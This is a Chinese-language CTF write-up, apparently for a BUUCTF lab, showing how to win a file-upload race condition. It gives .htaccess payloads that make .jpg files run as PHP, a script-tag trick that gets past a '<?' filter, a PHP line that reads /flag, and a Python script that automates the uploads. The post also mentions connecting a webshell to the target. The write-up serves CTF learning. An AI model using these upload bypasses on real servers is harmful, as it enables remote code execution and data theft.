好久就想好好弄懂竞争上传的利用,今天可算是明明白白了
就这道题来说竞争上传三秒左右就会被删掉,真正的图片上传都会提示:上传的太露骨,上传带有‘<?’的php一句话也会被ban
绕过<?检验的方法:<script language=”php”>这里写php代码就行</script>
然后我们发现上传php时提示:后缀名不能有ph!
随便使网页报错发现是apache,想到用.htaccess绕过
给出两个.htaccess payload
1.AddType application/x-httpd-php .jpg
2.SetHandler application/x-httpd-php
第一个会将.jpg文件的内容当作php代码执行
第二个会将所有文件的内容当作php代码执行
我们先上传.htaccess,然后上传一个jpg文件,其内容为
<script language=”php”>echo file_get_contents(“/flag”);</script>
我这里直接对文件进行读取了,如果换成一句话也可以,用蚁剑连接发现能够在多次尝试后连接上但是不够稳定,其实最好的方法是再生成一个shell.php,但是这里过滤了<?我尝试了下去生成但是失败了
然后我用了两种方法去做这道题
第一种:bp intruder模块对两个文件上传
设置null payload 选择好次数(尽量高些),线程可以略低一些,buu中复现的限制频率是5s50次
然后访问jpg文件回显的路径,获得flag
第二种:写脚本
import requests
url = “http://d8172728-e123-4436-85eb-8348d3d1847b.node3.buuoj.cn/”
session = requests.session()
htaccess = {‘uploaded’: (‘.htaccess’, “SetHandler application/x-httpd-php”, ‘image/jpeg’)}
#htaccess = {‘uploaded’: (‘.htaccess’, “AddType application/x-httpd-php .jpg”, ‘image/jpeg’)}
res_hta = session.post(url, files = htaccess)
print(res_hta.text)
files = {‘uploaded’: (‘123.jpg’, “<script language=\”php\”>echo file_get_contents(\”/flag\”);</script>”, ‘image/jpeg’)}
res_jpg = session.post(url, files = files)
print(res_jpg.text)
res_shell = session.get(url + res_jpg.text[-69:-22])
print(res_shell.text)
获得flag
前提是返回的路径不会不断变化,才可以用竞争上传,感觉利用条件还是比较苛刻的